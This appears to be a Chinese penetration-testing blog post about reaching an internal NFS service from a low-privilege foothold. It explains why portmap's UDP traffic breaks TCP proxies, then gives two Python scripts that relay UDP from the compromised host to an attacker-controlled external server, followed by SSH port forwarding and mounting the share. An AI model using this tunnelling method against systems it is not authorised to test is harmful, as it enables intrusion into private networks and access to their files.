在渗透测试的时候,拿到低权限服务器账号 / webshell 后进行端口扫描后发现内网服务器开启 2049 端口,也就是 NFS 服务。但是众所周知,挂载 NFS 需要 root 权限,如果是低权限账号的话并不能利用。而且无论是端口转发也好,代理也好,运行 showmount -e target 的时候总会没有回显。
为了降低渗透测试成本,还是自力更生解决掉这个问题比较好(手动比心

0x01 NFS 数据包分析

根据 RedHat 文档说明:

The portmap service under Linux maps RPC requests to the correct services. RPC processes notify portmap when they start, revealing the port number they are monitoring and the RPC program numbers they expect to serve. The client system then contacts portmap on the server with a particular RPC program number. The portmap service redirects the client to the proper port number so it can communicate with the requested service.

通过抓包,可以发现在最开始运行 showmount -e 172.23.27.39 的时候有两个 UDP 的数据包:

这个 portmap 的数据包协商了一个 RPC 端口来进行 TCP 通信,可以发现此服务器的端口为 892。
在运行 mount_nfs 172.23.27.39:/nfs /tmp/2 的时候发现不光有 2049、892 端口的流量,还有 111 端口的 TCP 流量。

那么造成代理(比如 Tunna、reGeorg,抑或是 proxychain,还有 ssh 端口转发)下 NFS 不可挂载的罪魁祸首是不是那两个 UDP 数据包呢,答案是:的确就是它的锅。

辣鸡。

那么如何解决呢?TCP 数据包我们很容易通过 ssh 端口转发、Tunna 等方法解决,这个 UDP 数据包,找一个支持 UDP 的代理就好了嘛。
看似很简单,但是如果在渗透测试中拿到低权限账号,甚至于没有 gcc 的情况下,那该怎么办呢?为了给服务器造成最低的影响,遵循最少依赖原则,自己写一个 UDP 代理即可(微笑脸

0x02 解决方案

我们假定的攻击目标为内网 172.23.27.39,现在我们控制了一台低权限服务器,然后我们还有一台外网自己控制的服务器。
两个 Python 脚本,server.py 扔在自己的服务器上,client.py 扔在渗透拿到的服务器上。
server.py

import socket
import sys
import struct

sock_src = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_dst = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
recv_addr = ('0.0.0.0', 111)
dst_addr = ('0.0.0.0', 11111)
sock_src.bind(recv_addr)
sock_dst.bind(dst_addr)

while True:
    print('waitting for OK from client')
    _, addr_dst = sock_dst.recvfrom(65565)
    if _ == 'OK':
        print('OK recieved from {0}'.format(addr_dst))
    data, addr_src = sock_src.recvfrom(65565)
    print('send: {0!r} to {1}'.format(data, addr_dst))
    sock_dst.sendto(data, addr_dst)

    data, _  = sock_dst.recvfrom(65565)
    print('received: {0!r} from {1}'.format(data, _))
    port = struct.unpack('!i', data[-4:])[0]
    sock_src.sendto(data, addr_src)

    print('PORT: {0}'.format(port))

sock_src.close()
sock_dst.close()

client.py

import socket
import sys
import struct

sock_src = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_dst = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
recv_addr = ('ricterz.me', 11111)
dst_addr = ('172.23.27.39', 111)

while True:
    try:
        print('send OK to {0}'.format(recv_addr))
        sock_src.sendto('OK', recv_addr)
        data, addr_src  = sock_src.recvfrom(65565)
        print('send: {0!r} to {1}'.format(data, dst_addr))
        sock_dst.sendto(data, dst_addr)
        data, _ = sock_dst.recvfrom(65565)
        print('received: {0!r} from {1}'.format(data, dst_addr))
        sock_src.sendto(data, addr_src)
    except KeyboardInterrupt:
        sock_src.sendto('CLOSE', addr_src)
        break

sock_src.close()
sock_dst.close()

里面的端口的 IP 自己改改,加油(光速逃
然后先在自己的服务器运行 server.py,再在渗透拿到的服务器上运行 client.py,之后再在自己的服务器上运行 showmount -e 127.0.0.1
虽然它崩掉提示 rpc mount export: RPC: Unable to receive; errno = Connection refused,但是不用 care,看左边已经输出了 RPC 端口了,然后我们就用 ssh 远程端口转发大法转发一下端口_(:3」∠)_

简单明了对不对!然后再跑一次 showmount -e 127.0.0.1

发现已经可以显示出 NFS 的共享目录了(微笑
接着我们尝试挂载 /nfs 目录到 /tmp/1

成功了(微笑脸
剩下的不必多说,祝大家身体健康。

0x03 参考